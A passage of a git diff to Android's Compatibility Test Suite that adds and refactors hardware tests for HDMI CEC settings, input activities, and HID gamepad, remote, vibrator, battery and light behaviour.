+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_TV_WAKE_ON_ONE_TOUCH_PLAY)) {
+                mHdmiControlManager.setTvWakeOnOneTouchPlay(value);
+                assertThat(mHdmiControlManager.getTvWakeOnOneTouchPlay()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setTvWakeOnOneTouchPlay(originalValue);
+            assertThat(mHdmiControlManager.getTvWakeOnOneTouchPlay()).isEqualTo(
+                    originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_TvTvSendStandbyOnSleep() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getTvSendStandbyOnSleep();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_TV_SEND_STANDBY_ON_SLEEP)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_TV_SEND_STANDBY_ON_SLEEP)) {
+                mHdmiControlManager.setTvSendStandbyOnSleep(value);
+                assertThat(mHdmiControlManager.getTvSendStandbyOnSleep()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setTvSendStandbyOnSleep(originalValue);
+            assertThat(mHdmiControlManager.getTvSendStandbyOnSleep()).isEqualTo(
+                    originalValue);
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/hdmi/cts/OWNERS b/tests/tests/hardware/src/android/hardware/hdmi/cts/OWNERS
new file mode 100644
index 0000000..9d05960
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/hdmi/cts/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 826094
+marvinramin@google.com
+nchalko@google.com
diff --git a/tests/tests/hardware/src/android/hardware/input/OWNERS b/tests/tests/hardware/src/android/hardware/input/OWNERS
index 0313a40..b0a2050 100644
--- a/tests/tests/hardware/src/android/hardware/input/OWNERS
+++ b/tests/tests/hardware/src/android/hardware/input/OWNERS
@@ -1,2 +1,4 @@
+# Bug component:136048
+lzye@google.com
 michaelwr@google.com
 svv@google.com
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputAssistantActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputAssistantActivity.java
new file mode 100644
index 0000000..59a4bef
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputAssistantActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class InputAssistantActivity extends Activity {
+    private static final String TAG = "InputAssistantActivity";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
index 028b18e..5133406 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
@@ -18,13 +18,17 @@
 
 import android.app.Activity;
 import android.os.Bundle;
+import android.util.Log;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
+import java.util.ArrayList;
+
 public class InputCtsActivity extends Activity {
     private static final String TAG = "InputCtsActivity";
 
     private InputCallback mInputCallback;
+    private final ArrayList<Integer> mUnhandledKeys = new ArrayList<>();
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -57,6 +61,11 @@
 
     @Override
     public boolean dispatchKeyEvent(KeyEvent ev) {
+        // Do not handle keys in UnhandledKeys list, let it fallback
+        if (mUnhandledKeys.contains(ev.getKeyCode())) {
+            Log.i(TAG, "Unhandled keyEvent: "  + ev);
+            return false;
+        }
         if (mInputCallback != null) {
             mInputCallback.onKeyEvent(ev);
         }
@@ -66,4 +75,12 @@
     public void setInputCallback(InputCallback callback) {
         mInputCallback = callback;
     }
+
+    public void addUnhandleKeyCode(int keyCode) {
+        mUnhandledKeys.add(keyCode);
+    }
+
+    public void clearUnhandleKeyCode() {
+        mUnhandledKeys.clear();
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
index 943a9fa..ed6bede 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
@@ -26,7 +26,7 @@
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
-public class AsusGamepadTest extends InputTestCase {
+public class AsusGamepadTest extends InputHidTestCase {
     public AsusGamepadTest() {
         super(R.raw.asus_gamepad_register);
     }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GameviceGv186Test.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GameviceGv186Test.java
new file mode 100644
index 0000000..89a2d8c
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GameviceGv186Test.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import static org.junit.Assert.assertEquals;
+
+import android.hardware.cts.R;
+import android.view.MotionEvent;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class GameviceGv186Test extends InputHidTestCase {
+    private static final float TOLERANCE = 0.005f;
+
+    public GameviceGv186Test() {
+        super(R.raw.gamevice_gv186_register);
+    }
+
+    @Override
+    void assertAxis(String testCase, MotionEvent expectedEvent, MotionEvent actualEvent) {
+        for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
+            // Skip checking AXIS_GENERIC_1 and AXIS_GENERIC_2, this device has HID usage of DPAD
+            // which maps to HAT1X and HAT1Y, which have non zero axes values always.
+            if (axis == MotionEvent.AXIS_GENERIC_1 || axis == MotionEvent.AXIS_GENERIC_2) {
+                continue;
+            }
+            assertEquals(testCase + " (" + MotionEvent.axisToString(axis) + ")",
+                    expectedEvent.getAxisValue(axis), actualEvent.getAxisValue(axis), TOLERANCE);
+        }
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.gamevice_gv186_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.gamevice_gv186_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java
new file mode 100755
index 0000000..4200bc4
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/GoogleAtvReferenceRemoteControlTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+import android.server.wm.WindowManagerStateHelper;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class GoogleAtvReferenceRemoteControlTest extends InputHidTestCase {
+
+    // Exercises the Bluetooth behavior of the ATV reference remote control
+    public GoogleAtvReferenceRemoteControlTest() {
+        super(R.raw.google_atvreferenceremote_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.google_atvreferenceremote_keyeventtests);
+    }
+
+    /**
+     * We cannot test the home key using "testAllKeys" because the home key does not get forwarded
+     * to apps, and therefore cannot be received in InputCtsActivity.
+     * Instead, we rely on the home button behavior check using the wm utils.
+     */
+    @Test
+    public void testHomeKey() {
+        testInputEvents(R.raw.google_atvreferenceremote_homekey);
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+        wmStateHelper.waitForHomeActivityVisible();
+        wmStateHelper.assertHomeActivityVisible(true);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
new file mode 100644
index 0000000..842934f
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -0,0 +1,419 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import static android.hardware.lights.LightsRequest.Builder;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.hardware.Battery;
+import android.hardware.input.InputManager;
+import android.hardware.lights.Light;
+import android.hardware.lights.LightState;
+import android.hardware.lights.LightsManager;
+import android.os.SystemClock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
+import android.os.Vibrator.OnVibratorStateChangedListener;
+import android.util.Log;
+import android.view.InputDevice;
+
+import com.android.cts.input.HidBatteryTestData;
+import com.android.cts.input.HidDevice;
+import com.android.cts.input.HidLightTestData;
+import com.android.cts.input.HidResultData;
+import com.android.cts.input.HidTestData;
+import com.android.cts.input.HidVibratorTestData;
+
+import org.junit.Rule;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+public class InputHidTestCase extends InputTestCase {
+    private static final String TAG = "InputHidTestCase";
+    // Sync with linux uhid_event_type::UHID_OUTPUT
+    private static final byte UHID_EVENT_TYPE_UHID_OUTPUT = 6;
+    private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
+
+    private HidDevice mHidDevice;
+    private int mDeviceId;
+    private final int mRegisterResourceId;
+
+    @Rule
+    public MockitoRule rule = MockitoJUnit.rule();
+    @Mock
+    private OnVibratorStateChangedListener mListener;
+
+    InputHidTestCase(int registerResourceId) {
+        super(registerResourceId);
+        mRegisterResourceId = registerResourceId;
+    }
+
+    /** Check if input device has specific capability */
+    interface Capability {
+        boolean check(InputDevice inputDevice);
+    }
+
+    /** Gets an input device with specific capability */
+    private InputDevice getInputDevice(Capability capability) {
+        final InputManager inputManager =
+                mInstrumentation.getTargetContext().getSystemService(InputManager.class);
+        final int[] inputDeviceIds = inputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = inputManager.getInputDevice(inputDeviceId);
+            if (inputDevice.getVendorId() == mVid && inputDevice.getProductId() == mPid
+                    && capability.check(inputDevice)) {
+                return inputDevice;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a vibrator from input device with specified Vendor Id and Product Id
+     * from device registration command.
+     * @return Vibrator object in specified InputDevice
+     */
+    private Vibrator getVibrator() {
+        InputDevice inputDevice = getInputDevice((d) -> d.getVibrator().hasVibrator());
+        if (inputDevice == null) {
+            fail("Failed to find test device with vibrator");
+        }
+        return inputDevice.getVibrator();
+    }
+
+    /**
+     * Gets a battery from input device with specified Vendor Id and Product Id
+     * from device registration command.
+     * @return Battery object in specified InputDevice
+     */
+    private Battery getBattery() {
+        InputDevice inputDevice = getInputDevice((d) -> d.getBattery().hasBattery());
+        if (inputDevice == null) {
+            fail("Failed to find test device with battery");
+        }
+        return inputDevice.getBattery();
+    }
+
+    /**
+     * Gets a light manager object from input device with specified Vendor Id and Product Id
+     * from device registration command.
+     * @return LightsManager object in specified InputDevice
+     */
+    private LightsManager getLightsManager() {
+        InputDevice inputDevice = getInputDevice(
+                (d) -> !d.getLightsManager().getLights().isEmpty());
+        if (inputDevice == null) {
+            fail("Failed to find test device with light");
+        }
+        return inputDevice.getLightsManager();
+    }
+
+    @Override
+    protected void setUpDevice(int id, int vendorId, int productId, int sources,
+            String registerCommand) {
+        mDeviceId = id;
+        mHidDevice = new HidDevice(mInstrumentation, id, vendorId, productId, sources,
+                registerCommand);
+        assertNotNull(mHidDevice);
+    }
+
+    @Override
+    protected void tearDownDevice() {
+        if (mHidDevice != null) {
+            mHidDevice.close();
+        }
+    }
+
+    @Override
+    protected void testInputDeviceEvents(int resourceId) {
+        List<HidTestData> tests = mParser.getHidTestData(resourceId);
+
+        for (HidTestData testData: tests) {
+            mCurrentTestCase = testData.name;
+
+            // Send all of the HID reports
+            for (int i = 0; i < testData.reports.size(); i++) {
+                final String report = testData.reports.get(i);
+                mHidDevice.sendHidReport(report);
+            }
+            verifyEvents(testData.events);
+
+        }
+    }
+
+    private boolean verifyVibratorReportData(HidVibratorTestData test, HidResultData result) {
+        for (Map.Entry<Integer, Integer> entry : test.verifyMap.entrySet()) {
+            final int index = entry.getKey();
+            final int value = entry.getValue();
+            if ((result.reportData[index] & 0XFF) != value) {
+                Log.v(TAG, "index=" + index + " value= " + value
+                        + "actual= " + (result.reportData[index] & 0XFF));
+                return false;
+            }
+        }
+        final int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+        final int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+
+        return ffLeft > 0 && ffRight > 0;
+    }
+
+    public void testInputVibratorEvents(int resourceId) throws Exception {
+        final List<HidVibratorTestData> tests = mParser.getHidVibratorTestData(resourceId);
+
+        for (HidVibratorTestData test : tests) {
+            assertEquals(test.durations.size(), test.amplitudes.size());
+            assertTrue(test.durations.size() > 0);
+
+            final long timeoutMills;
+            final long totalVibrations = test.durations.size();
+            final VibrationEffect effect;
+            if (test.durations.size() == 1) {
+                long duration = test.durations.get(0);
+                int amplitude = test.amplitudes.get(0);
+                effect = VibrationEffect.createOneShot(duration, amplitude);
+                // Set timeout to be 2 times of the effect duration.
+                timeoutMills = duration * 2;
+            } else {
+                long[] durations = test.durations.stream().mapToLong(Long::longValue).toArray();
+                int[] amplitudes = test.amplitudes.stream().mapToInt(Integer::intValue).toArray();
+                effect = VibrationEffect.createWaveform(
+                    durations, amplitudes, -1);
+                // Set timeout to be 2 times of the effect total duration.
+                timeoutMills = Arrays.stream(durations).sum() * 2;
+            }
+
+            final Vibrator vibrator = getVibrator();
+            assertNotNull(vibrator);
+            vibrator.addVibratorStateListener(mListener);
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(false);
+            reset(mListener);
+            // Start vibration
+            vibrator.vibrate(effect);
+            // Verify vibrator state listener
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(true);
+            assertTrue(vibrator.isVibrating());
+
+            final long startTime = SystemClock.elapsedRealtime();
+            List<HidResultData> results = new ArrayList<>();
+            int vibrationCount = 0;
+            // Check the vibration ffLeft and ffRight amplitude to be expected.
+            while (vibrationCount < totalVibrations
+                    && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+                SystemClock.sleep(1000);
+
+                results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
+                if (results.size() < totalVibrations) {
+                    continue;
+                }
+                vibrationCount = 0;
+                for (int i = 0; i < results.size(); i++) {
+                    HidResultData result = results.get(i);
+                    if (result.deviceId == mDeviceId
+                            && verifyVibratorReportData(test, result)) {
+                        int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+                        int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+                        Log.v(TAG, "eventId=" + result.eventId + " reportType="
+                                + result.reportType + " left=" + ffLeft + " right=" + ffRight);
+                        // Check the amplitudes of FF effect are expected.
+                        if (ffLeft == test.amplitudes.get(vibrationCount)
+                                && ffRight == test.amplitudes.get(vibrationCount)) {
+                            vibrationCount++;
+                        }
+                    }
+                }
+            }
+            assertEquals(vibrationCount, totalVibrations);
+            // Verify vibrator state listener
+            verify(mListener, timeout(CALLBACK_TIMEOUT_MILLIS)
+                    .times(1)).onVibratorStateChanged(false);
+            assertFalse(vibrator.isVibrating());
+            vibrator.removeVibratorStateListener(mListener);
+            reset(mListener);
+        }
+    }
+
+    public void testInputVibratorManagerEvents(int resourceId) throws Exception {
+        final List<HidVibratorTestData> tests = mParser.getHidVibratorTestData(resourceId);
+
+        for (HidVibratorTestData test : tests) {
+            assertEquals(test.durations.size(), test.amplitudes.size());
+            assertTrue(test.durations.size() > 0);
+
+            final long timeoutMills;
+            final long totalVibrations = test.durations.size();
+            final VibrationEffect effect;
+            if (test.durations.size() == 1) {
+                long duration = test.durations.get(0);
+                int amplitude = test.amplitudes.get(0);
+                effect = VibrationEffect.createOneShot(duration, amplitude);
+                // Set timeout to be 2 times of the effect duration.
+                timeoutMills = duration * 2;
+            } else {
+                long[] durations = test.durations.stream().mapToLong(Long::longValue).toArray();
+                int[] amplitudes = test.amplitudes.stream().mapToInt(Integer::intValue).toArray();
+                effect = VibrationEffect.createWaveform(
+                    durations, amplitudes, -1);
+                // Set timeout to be 2 times of the effect total duration.
+                timeoutMills = Arrays.stream(durations).sum() * 2;
+            }
+
+            final Vibrator vibrator = getVibrator();
+            assertNotNull(vibrator);
+            // Start vibration
+            vibrator.vibrate(effect);
+            final long startTime = SystemClock.elapsedRealtime();
+            List<HidResultData> results = new ArrayList<>();
+            int vibrationCount = 0;
+            // Check the vibration ffLeft and ffRight amplitude to be expected.
+            while (vibrationCount < totalVibrations
+                    && SystemClock.elapsedRealtime() - startTime < timeoutMills) {
+                SystemClock.sleep(1000);
+
+                results = mHidDevice.getResults(mDeviceId, UHID_EVENT_TYPE_UHID_OUTPUT);
+                if (results.size() < totalVibrations) {
+                    continue;
+                }
+                vibrationCount = 0;
+                for (int i = 0; i < results.size(); i++) {
+                    HidResultData result = results.get(i);
+                    if (result.deviceId == mDeviceId
+                            && verifyVibratorReportData(test, result)) {
+                        int ffLeft = result.reportData[test.leftFfIndex] & 0xFF;
+                        int ffRight = result.reportData[test.rightFfIndex] & 0xFF;
+                        Log.v(TAG, "eventId=" + result.eventId + " reportType="
+                                + result.reportType + " left=" + ffLeft + " right=" + ffRight);
+                        // Check the amplitudes of FF effect are expected.
+                        if (ffLeft == test.amplitudes.get(vibrationCount)
+                                && ffRight == test.amplitudes.get(vibrationCount)) {
+                            vibrationCount++;
+                        }
+                    }
+                }
+            }
+            assertEquals(vibrationCount, totalVibrations);
+        }
+    }
+
+    public void testInputBatteryEvents(int resourceId) {
+        final Battery battery = getBattery();
+        assertNotNull(battery);
+
+        final List<HidBatteryTestData> tests = mParser.getHidBatteryTestData(resourceId);
+        for (HidBatteryTestData testData : tests) {
+
+            // Send all of the HID reports
+            for (int i = 0; i < testData.reports.size(); i++) {
+                final String report = testData.reports.get(i);
+                mHidDevice.sendHidReport(report);
+            }
+            // Wait for power_supply sysfs node get updated.
+            SystemClock.sleep(100);
+            float capacity = battery.getCapacity();
+            int status = battery.getStatus();
+            assertEquals("Test: " + testData.name, testData.status, status);
+            boolean capacityMatch = false;
+            for (int i = 0; i < testData.capacities.length; i++) {
+                if (capacity == testData.capacities[i]) {
+                    capacityMatch = true;
+                    break;
+                }
+            }
+            assertTrue("Test: " + testData.name + " capacity " + capacity + " expect "
+                    + Arrays.toString(testData.capacities), capacityMatch);
+        }
+    }
+
+    public void testInputLightsManager(int resourceId) throws Exception {
+        final LightsManager lightsManager = getLightsManager();
+        final List<Light> lights = lightsManager.getLights();
+
+        final List<HidLightTestData> tests = mParser.getHidLightTestData(resourceId);
+        for (HidLightTestData test : tests) {
+            Light light = null;
+            for (int i = 0; i < lights.size(); i++) {
+                if (lights.get(i).getType() == test.lightType
+                        && test.lightName.equals(lights.get(i).getName())) {
+                    light = lights.get(i);
+                }
+            }
+            assertNotNull("Light type " + test.lightType + " name " + test.lightName
+                    + " does not exist", light);
+            try (LightsManager.LightsSession session = lightsManager.openSession()) {
+                // Can't set both player id and color in same LightState
+                assertFalse(test.lightColor > 0 && test.lightPlayerId > 0);
+                // Issue the session requests to turn single light on
+                if (test.lightPlayerId > 0) {
+                    session.requestLights(new Builder()
+                            .addLight(light, LightState.forPlayerId(test.lightPlayerId))
+                            .build());
+                } else {
+                    session.requestLights(new Builder()
+                            .addLight(light, LightState.forColor(test.lightColor))
+                            .build());
+                }
+                // Some devices (e.g. Sixaxis) defer sending output packets until they've seen at
+                // least one input packet.
+                if (!test.report.isEmpty()) {
+                    mHidDevice.sendHidReport(test.report);
+                }
+                // Delay before sysfs node was updated.
+                SystemClock.sleep(200);
+                // Verify HID report data
+                List<HidResultData> results = mHidDevice.getResults(mDeviceId,
+                        test.hidEventType);
+                assertFalse(results.isEmpty());
+                // We just check the last HID output to be expected.
+                HidResultData result = results.get(results.size() - 1);
+                for (Map.Entry<Integer, Integer> entry : test.expectedHidData.entrySet()) {
+                    final int index = entry.getKey();
+                    final int value = entry.getValue();
+                    int actual = result.reportData[index] & 0xFF;
+                    assertEquals("Led data index " + index, value, actual);
+
+                }
+
+                // Then the light state should be what we requested.
+                if (test.lightPlayerId > 0) {
+                    assertThat(lightsManager.getLightState(light).getPlayerId())
+                            .isEqualTo(test.lightPlayerId);
+                } else {
+                    assertThat(lightsManager.getLightState(light).getColor())
+                            .isEqualTo(test.lightColor);
+                }
+            }
+        }
+    }
+
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 6239026..62b4184 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -17,12 +17,15 @@
 package android.hardware.input.cts.tests;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Instrumentation;
 import android.hardware.input.cts.InputCallback;
 import android.hardware.input.cts.InputCtsActivity;
 import android.util.Log;
+import android.view.InputDevice;
 import android.view.InputEvent;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
@@ -32,9 +35,8 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 
-import com.android.cts.input.HidDevice;
-import com.android.cts.input.HidJsonParser;
-import com.android.cts.input.HidTestData;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.input.InputJsonParser;
 
 import org.junit.After;
 import org.junit.Before;
@@ -53,13 +55,15 @@
     private final BlockingQueue<InputEvent> mEvents;
 
     private InputListener mInputListener;
-    private Instrumentation mInstrumentation;
     private View mDecorView;
-    private HidDevice mHidDevice;
-    private HidJsonParser mParser;
+
+    protected Instrumentation mInstrumentation;
+    protected InputJsonParser mParser;
     // Stores the name of the currently running test
-    private String mCurrentTestCase;
+    protected String mCurrentTestCase;
     private int mRegisterResourceId; // raw resource that contains json for registering a hid device
+    protected int mVid;
+    protected int mPid;
 
     // State used for motion events
     private int mLastButtonState;
@@ -75,22 +79,34 @@
         new ActivityTestRule<>(InputCtsActivity.class);
 
     @Before
-    public void setUp() {
+    public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mActivityRule.getActivity().setInputCallback(mInputListener);
+        mActivityRule.getActivity().clearUnhandleKeyCode();
         mDecorView = mActivityRule.getActivity().getWindow().getDecorView();
-        mParser = new HidJsonParser(mInstrumentation.getTargetContext());
-        int hidDeviceId = mParser.readDeviceId(mRegisterResourceId);
+        mParser = new InputJsonParser(mInstrumentation.getTargetContext());
+        mVid = mParser.readVendorId(mRegisterResourceId);
+        mPid = mParser.readProductId(mRegisterResourceId);
+        int deviceId = mParser.readDeviceId(mRegisterResourceId);
         String registerCommand = mParser.readRegisterCommand(mRegisterResourceId);
-        mHidDevice = new HidDevice(mInstrumentation, hidDeviceId, registerCommand);
+        setUpDevice(deviceId, mParser.readVendorId(mRegisterResourceId),
+                mParser.readProductId(mRegisterResourceId),
+                mParser.readSources(mRegisterResourceId), registerCommand);
         mEvents.clear();
     }
 
     @After
-    public void tearDown() {
-        mHidDevice.close();
+    public void tearDown() throws Exception {
+        tearDownDevice();
     }
 
+    // To be implemented by device specific test case.
+    protected abstract void setUpDevice(int id, int vendorId, int productId, int sources,
+            String registerCommand);
+
+    protected abstract void tearDownDevice();
+
+    protected abstract void testInputDeviceEvents(int resourceId);
+
     /**
      * Asserts that the application received a {@link android.view.KeyEvent} with the given
      * metadata.
@@ -108,11 +124,11 @@
         }
         assertEquals(mCurrentTestCase + " (action)",
                 expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
-        assertSource(mCurrentTestCase, expectedKeyEvent.getSource(), receivedKeyEvent.getSource());
+        assertSource(mCurrentTestCase, expectedKeyEvent, receivedKeyEvent);
         assertEquals(mCurrentTestCase + " (keycode)",
                 expectedKeyEvent.getKeyCode(), receivedKeyEvent.getKeyCode());
-        assertEquals(mCurrentTestCase + " (meta state)",
-                expectedKeyEvent.getMetaState(), receivedKeyEvent.getMetaState());
+        assertMetaState(mCurrentTestCase, expectedKeyEvent.getMetaState(),
+                receivedKeyEvent.getMetaState());
     }
 
     private void assertReceivedMotionEvent(@NonNull MotionEvent expectedEvent) {
@@ -134,7 +150,7 @@
         }
         assertEquals(mCurrentTestCase + " (action)",
                 expectedEvent.getAction(), event.getAction());
-        assertSource(mCurrentTestCase, expectedEvent.getSource(), event.getSource());
+        assertSource(mCurrentTestCase, expectedEvent, event);
         assertEquals(mCurrentTestCase + " (button state)",
                 expectedEvent.getButtonState(), event.getButtonState());
         if (event.getActionMasked() == MotionEvent.ACTION_BUTTON_PRESS
@@ -146,21 +162,55 @@
                     mLastButtonState ^ event.getButtonState(), event.getActionButton());
             mLastButtonState = event.getButtonState();
         }
-        for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
-            assertEquals(mCurrentTestCase + " (" + MotionEvent.axisToString(axis) + ")",
-                    expectedEvent.getAxisValue(axis), event.getAxisValue(axis), TOLERANCE);
+        assertAxis(mCurrentTestCase, expectedEvent, event);
+    }
+
+    /**
+     * Asserts motion event axis values. Separate this into a different method to allow individual
+     * test case to specify it.
+     *
+     * @param expectedSource expected source flag specified in JSON files.
+     * @param actualSource actual source flag received in the test app.
+     */
+    void assertAxis(String testCase, MotionEvent expectedEvent, MotionEvent actualEvent) {
+        for (int i = 0; i < actualEvent.getPointerCount(); i++) {
+            for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
+                assertEquals(testCase + " pointer " + i
+                        + " (" + MotionEvent.axisToString(axis) + ")",
+                        expectedEvent.getAxisValue(axis, i), actualEvent.getAxisValue(axis, i),
+                        TOLERANCE);
+            }
         }
     }
 
     /**
      * Asserts source flags. Separate this into a different method to allow individual test case to
      * specify it.
+     * The input source check verifies if actual source is equal or a subset of the expected source.
+     * With Linux kernel 4.18 or later the input hid driver could register multiple evdev devices
+     * when the HID descriptor has HID usages for different applications. Android frameworks will
+     * create multiple KeyboardInputMappers for each of the evdev device, and each
+     * KeyboardInputMapper will generate key events with source of the evdev device it belongs to.
+     * As long as the source of these key events is a subset of expected source, we consider it as
+     * a valid source.
      *
-     * @param expectedSource expected source flag specified in JSON files.
-     * @param actualSource actual source flag received in the test app.
+     * @param expected expected event with source flag specified in JSON files.
+     * @param actual actual event with source flag received in the test app.
      */
-    void assertSource(String testCase, int expectedSource, int actualSource) {
-        assertEquals(testCase + " (source)", expectedSource, actualSource);
+    private void assertSource(String testCase, InputEvent expected, InputEvent actual) {
+        assertNotEquals(testCase + " (source)", InputDevice.SOURCE_CLASS_NONE, actual.getSource());
